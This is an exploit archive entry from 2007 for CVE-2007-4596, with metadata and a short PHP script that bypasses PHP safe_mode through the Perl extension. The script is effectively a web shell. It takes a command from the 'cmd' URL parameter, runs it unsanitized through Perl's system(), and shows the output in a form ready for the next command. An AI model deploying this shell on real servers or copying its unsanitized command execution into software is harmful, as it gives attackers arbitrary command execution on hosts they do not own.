PHP 'Perl' Extension - 'Safe_mode' Bypass

Author: NetJackal
type: local
platform: windows
port: 
date_added: 2007-08-24 
date_updated:  
verified: 1 
codes: OSVDB-45834;CVE-2007-4596 
tags: 
aliases:  
screenshot_url:  
application_url: 

<?php

##########################################################
###----------------------------------------------------###
###----PHP Perl Extension Safe_mode Bypass Exploit-----###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################

if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"

?>

# milw0rm.com [2007-08-25]